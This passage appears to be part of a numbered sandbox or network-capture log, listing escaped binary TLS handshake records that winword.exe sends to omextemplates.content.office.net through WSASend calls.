  300. "http_request": "winword.exe_WSASend_v\\x01\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1j\\x83pp\\x02s+\\xd2\\xc8\\xed\\xe2\\x8c\\x0ef,\\xc1\\x04\\x12\\xaa\\xa5t\\xe7\\x88\\x13\\xa2_\\xca^\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  301.  
  302.  
  303. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\x9b\\x1ac^p\r8\\xc8\\x11yz$o\\x8b\\xad\\xa54\\xf9\\xdb)\\x02k\\x8f\\xc7\\xbd\\xaa\\xb1\\x83\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  304.  
  305.  
  306. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1x\\x87m\\x1a\\xe4vs\\xfc\\x8d#\\xbb\\xea\\xbe\\x1a\\x00?\\x8f\\xab\\x10\\x8a\\x18\\xb6\\xca\\xf5\\x8bd\\xca\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  307.  
  308.  
  309. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\x83\\xb0\\xe9\\x81\\xdf\\x96\\xf4\\x91\\xdb\\x1a\\xabh\\xcd\\x9f\\x0c!\\x97\\xb1\\xeb\\x90\\x1bsc\\xfe\\xca\\xcd\\xcd\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  310.  
  311.  
  312. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\xe4\\xdf\\xde2\\x87%\\xd1\\x12\\xc9kdo\\x10&0~\\xeb-\\xa8\\xc5hopf\\xcb\\x1e\\x90z\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  313.  
  314.  
  315. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1o\\x9b\\xf0\\x8c\\x8c\\x92f\\xc8p\\xe8\\x03`\t\"\\xfc\\xcbn\\xf5h\\x11\\x16=\\x98\\x80\\xb6\\xbd\\xb9v\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  316.  
  317.  
  318. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\xfa\\xfb^p\\x0c\\xd9%\\xa5\\xa9v\\xf7\\x8c\\x82\\x1c\\x8a\\xed2\t\\x1ab\r\\xae\\x16\\x99x\n\\x8ff\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  319.  
  320.  
  321. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\x14\\xfd\\xb6<\\x96q\t\r\\x8b#\\x8d\\xa4g\\xb3d|\\xef-s\\x9b\\x01\\xb7\\xe6da\\xa8\\xf2\\xfb\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  322.  
  323.  
  324. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\xb2y\\xab\\xcc\\xfb\\xc6\\x84\\xf4\\xa0\\xca@\\xce\\x845\\x0c\\xdag\\xa1=d\\xea\\x8d\\x94\\x14\\x05\\x00\\xe0\\xa5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  325.  
  326.  
  327. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\xf5\\xf8\"s\\x92\\x16\\\\xcfk\\xc0i\\xfc\\x93f\\xd4\\xfag&\\xb4b\\xf3\\xbcj/\\x9d\\x81\\xcf\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  328.  
  329.  
  330. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\x15\\x0b(\\xba\\x04\\xf0\\x000\\xe5\\xe6\\xe1u~6\\xeah\\x0c\\xe0\\xb5d\\xc8$\\xa2%\\xb3\\x07\\xc5\\x15\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  331.  
  332.  
  333. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\xdf\\xf7\\x98\\x95\\x98\\x16jb\\xdf\\xd2m\\xb7\\x8b(aa\\xb87\\xd53@\\xa1\\x90\\xa3\\xc9\\x85k\\xbf\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  334.  
  335.  
  336. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\xd4y\\x86\\xfam\\x9cs!m\\xaf\\x15\\xfe1\\x08\\x1e\\xf0dr\\xa4\\x1b\\xfdi:pd\\x1a\\xa6\\xd1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  337.  
  338.  
  339. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\xbcm!\\xbf2ot\\xb4\\x7f0\\x95\\xc8\\xbct\\xea\\xde\\xcb\\x12\\x8a\\xc18c\\xc5m\\x1fm\\x06\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  340.  
  341.  
  342. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\x83fo\\x97\\x9a\\xd5.\\xc9\\xbb\\xfd\\xe0\\xbdxv\\x9d\\xac\\x8e\\xa3\\x19\\x87\\x89h\\x9cn\\x84`j\\xae\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  343.  
  344.  
  345. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1o\\xdey$\\xc3\\x84idt\\xe6\\xf1/\\x01ab\\xdb\\x83\\xae\\x94$\\xc9\\xca\\x11'l\\x05\\xff\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  346.  
  347.  
  348. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\xc7\\xa4\\xdd\\xd9\\xd8\\xcfb\\x1b\\xbe\\x15u)?t\\xe5%\\xcc\\xec\\x1b\\xf8\rp\\xa4\\x0b\\x0e\"r\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  349.  
  350.  
  351. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\x80\\xfd\\xdc;\\x93\\x9f\\xb4\\x97\\x82\\xbf o\\xe4\\xb6\\xfa`\\xfc\\xf5\\xa7\\x04w\\_f\\x91\\x8c\\x8f\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  352.  
  353.  
  354. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\x8a\\xb7\\xb2+v\\x0fw$t\\x9d\n\\xd7\\xfd\\x910\\x98\\xd0\\xfc\\xc1q\\xd7\\xcd9\\xf2\\x9b\\xc1\\x9e\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  355.  
  356.  
  357. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd12\\xdc\\xb5\\xe2\\xc2\\xda\\x96\\xfd\\xe0_\\x1f\\x10\\xdc\\xf2&\\xe15?\\x8a\\x9fb\\x19\\xf1j\\x82:\\xef\\xb6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  358.  
  359.  
  360. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\xec\\x02(\\xf4\\xeb\\xf0\\xa60\\xb6@\\x8b5<\\x04\\xea\\xed\\xb7\\xc1\\x83\\x9c\\xa6\\xf6\\xf1zvu\\x817\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  361.  
  362.  
  363. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1$\\xfa\\xcc'\\xfd\\xf3\\x9b\\x15\\x95\\x84\\xd9u0wd\\xaa\\xfa^\\x0c\\x00\\xe8\\xd1.\\x97a\\xa8\\xb0\\xcc\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  364.  
  365.  
  366. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\xd0!\\xaf\\x04\\x0b\"\\xfe\\xe6u\\x82fh\\x9e\\x9b\\x01\\xb1n\\xd3\\xecpn\\xf8b\t\\x14\\x9f\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  367.  
  368.  
  369. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\xf0n\\xe1\\x18\\x91n\\xfe%\\x81;\\x16\\x04\\x18\\x17h\\xc5\\xd3ck\\xcds\\xed\\x1bm\\x97\\xc8\\xb2\\xfd\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  370.  
  371.  
  372. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1_\\x9b\\x1e\\xb3\\xbc\\x16\\xec\\x93\\xab\\x19\\x1d?m\\xfai\\xfe\\x06\\x11 '\\xe7\\xee\\xbb\\x9d\\xc2\\xa3_k\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  373.  
  374.  
  375. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\x183\\x06\\xf5\\x0eiq\\xee>o\\xff\\xf4\\x9f\\xcbhj\\xa76\\xee\\x18\\xb8j\\x9f\\xe0\\xbda\\xa5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  376.  
  377.  
  378. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1x\\x13\\x18\\xc6\\xe3\\xa0\\xf7\\xf8\\x1aam~i\\x7f\\x10;\\xaff\\xa3\\xea>\\x9az\"\\x90_\\x15\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  379.  
  380.  
  381. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\x96e\\xee\\xd8\\xa0z.\\xb4n\\x84\\xa4\\x89pz\\xe8hk\\xf0g^< \\x8e\\x06\\xd1\\xb80\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  382.  
  383.  
  384. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04)x\\xbd\\xb3\\xb4\\xcdg\\x8a5\\xf3mt\\xc8s\"\\xe9w\\xa1\\x18azr\\xcdi\\xa7\\xc8\\x17n\tt\\xb7\\xda\\xd9f\\x06(\\xb2\\xe0\\x16\\x15\\x8e\\xd1\\x1d\\xb87\\xd7\\x00\\xb4f\\x85\\xbf\\x94\\x9d`wcl\\xc7f\t\\x84\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000=\\xaan\\xed\\xa9\\xe9\\xbb\\xe3*\\x85\\xf2/\\6\\xe4\\xb4\\x8f\\xb5\\x00\\xfb\\x0e\\x058\\xfc\\x83'\\xf7\\x0c9\\x99\\x19\n\\xde~\\x83\\x97\\x8a\\x80\\x9e\\x9d\\x04\\xcby\\x9b\\xed\\x0b4"
  385.  
  386.  
  387. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x9c*\\xd1\\xb9up\\x99p\\xc5\\xae\\x15\\xd4\\x95g,\\xe2\\x99\\xf7&q\\xbbm\\xe3o\\x1a\\x9d\\xa7\\x86lqp\\x1bja\\xcb\\x1d3\\xf8\\xf6\\x9a\\x97\\x9e\\x15t\\xd0\\x84@\\x8c\\xbb\\xff\\xe7\\x10\\xba;\\x9f:\\x0fzs\\xc4\\xa1\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000y(\\xeci\\xfa\\xb9\\xd5\\x1d\\x9e\\xfd\\xf2o\\xaa\\xf4\\xf3\\xaf\\xd0\\xeei\\x94\\xf6a\\xd6\\xcai\\xba\\xe8\\x8f\\xc6 \\xde\\xe7.wxz\\xb5udk#\\x06\\xcc\\xd3\\xbb\\xd2q\\xe4"
  388.  
  389.  
  390. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x08c9\\xbb\\x02d!i\r\\xefu\\xd8x\\x0e\\xf3\\xd7\\xbd\\xfd\\xf3\\x95\\\\x1d\\xeah\\x03\\x07\\x0fwi\\x1d\\hd^,\\xe4\\x8b)\\xea\\xde\\xcax?\\x86\\xb6!k\\x16\\xe2\\xde.d\\xb2z\\x07'\\xb3\\x8a\r\\x99\\xdabx\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb6\\xc8\\x14\\xc0,\\xe1&&\\xff\\x80\\x0e\\xbd\\xd8\\x8e\\xbb\"\\xe3\\x12vq/\\x11\\xe3\\x11\\x89#\\xd2\\x0c\\xfbd\\x9d\\x85\\xbez0\\x03\\x83n?\\x89ae\\xb4\\x93\\x15>sh"
  391.  
  392.  
  393. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xe7n@\\x82\\xbe\\x8dd\\xf6s\\x86\\xe5\\xb0\\xb2\\x8c(\\xdb\\x00\\x1f\\xe2\\x04b\\xfa\\xe8\\xbd,~\\x85laq\\x9an\\x9f\\xed\\x08u\\xec\\x06g\\xc3\\x1c\\xf3t\\xbf\\xce\\x14\\xef\\x99\\x98\\xc2\\xefd'\\xeaqj\\xfdf\\x07\\xbd\\x1e\\x96\\xb8\\xb0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x9e\t9\\xfe\\x93\\x7f\t\\xef\\x8d\\xa5\\xf5\\x99\\x06\\xf7\\xe3b\\xb3+\\xcc\\xdb\\xf7k\\xc3\\x97\\x8b\\xda\\xbdu\\xbe(/\\x0cm\\x80\\xe1\\xaa\\xaf\\xd9(_m\\xf3 \\xb7\\xa3\\xb4\\xf1"
  394.  
  395.  
  396. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\xfb\\xc2\\x90\\xe8+6\\x1b\\x93b\\x15\\x9a\\xa53\\x19\\xbb\\xdd\\xeb.r\\x00\\x0f\\x8a\\xea\\xe4\\xe9\\xdab\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  397.  
  398.  
  399. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\x85\\x9a\\xab\\xd0\\xfe|q$\\xde\\xaa\\xaf\\xe7v\\xd7\\xef\\xa39\\x04e\\x97\\xed5b\\xe5\\x8a\\xf5\\x9a\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  400.  
  401.  
  402. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\x88\\xd55\\xa8~ze\\xcb|\\xdf\\xd7\\x0b&z\\xff\\xab\\x0eue\\x1f\\x00\\xb5+\\xa8n~r\\x8c\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  403.  
  404.  
  405. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\x0e\\xde#\\xf6\\x8b_\\x12l7\\x9d:0cjl2e&\\x0e\\xdb%\\x04\\xc8\\xe9e\\xfd\\xcf\\xba\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  406.  
  407.  
